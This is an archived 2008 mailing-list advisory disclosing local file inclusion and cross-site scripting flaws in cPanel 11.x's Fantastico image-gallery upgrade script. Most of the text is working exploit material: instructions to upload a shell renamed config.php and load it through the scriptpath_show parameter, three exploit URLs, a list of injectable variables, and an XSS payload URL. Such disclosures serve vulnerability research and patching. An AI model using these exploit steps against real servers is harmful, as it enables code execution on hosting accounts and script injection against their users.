Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Aria-Security.com: Saba 2.0 Cross Site Scripting [PASSIVE]

PHP-Nuke  Module  BookCatalog (category&cat id) Remote SQL injection Vulnerability

IranMC  ( detail.php?Kala ) Remote SQL injection Vulnerability

PHP-Nuke Module Sectionsnew (printpage&ar tid) Remote SQL injection Vulnerability

From:	irancrash_(at)_gmail.com <irancrash_(at)_gmail.com>
Date:	01.11.2008
Subject:	Cpanel 11.x Local File Inclusion & Cross Site Scripting - Discovered By Khashayar Fereidani

----------------------------------------------------------------

Script : Cpanel 11.x

Type : Local File Inclusion & Cross Site Scripting

Risk : High

----------------------------------------------------------------

Discovered by : Khashayar Fereidani

**** I am 17 Years Old ****

My Official Website : HTTP://FEREIDANI.IR

Team Website : Http://IRCRASH.COM

Team Members : Khashayar Fereidani - Hadi Kiamarsi - Sina YazdanMehr

Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com

----------------------------------------------------------------

Local File Inclusion Vulnerability :

Note : Rename your shell to config.php and upload with your ftp account in ./ directory .... , now
login in cpanel and
      enter vulnerable address in url ....


https://ServerIp:2083/frontend/x3/fantastico/autoinstall4imagesgalleryupgrade.
php?action=GoAhead&scriptpath_show=/home/[youruser]/

https://ServerIp:2083/frontend/x2/fantastico/autoinstall4imagesgalleryupgrade.
php?action=GoAhead&scriptpath_show=/home/[youruser]/

https://ServerIp:2083/frontend/x/fantastico/autoinstall4imagesgalleryupgrade.
php?action=GoAhead&scriptpath_show=/home/[youruser]/

----------------------------------------------------------------

Cross site scripting :

File Address :
frontend/x3/fantastico/autoinstall4imagesgalleryupgrade.
php?action=Upgrade%20to%201.7.4

Set Action as Upgrade%20to%201.7.4

Vulnerable Variables :

$localapp
$updatedir
$scriptpath_show
$domain_show
$thispage
$thisapp
$currentversion

For Example :
https://ServerIp:2083/frontend/x3/fantastico/autoinstall4imagesgalleryupgrade.
php?action=Upgrade%20to%201.7.
4&localapp=%22%3Cscript%3Ealert(%27xss%27)%3C
/script%3E


----------------------------------------------------------------

                       Tnx : God

         HTTP://IRCRASH.COM HTTP://FEREIDANI.IR

----------------------------------------------------------------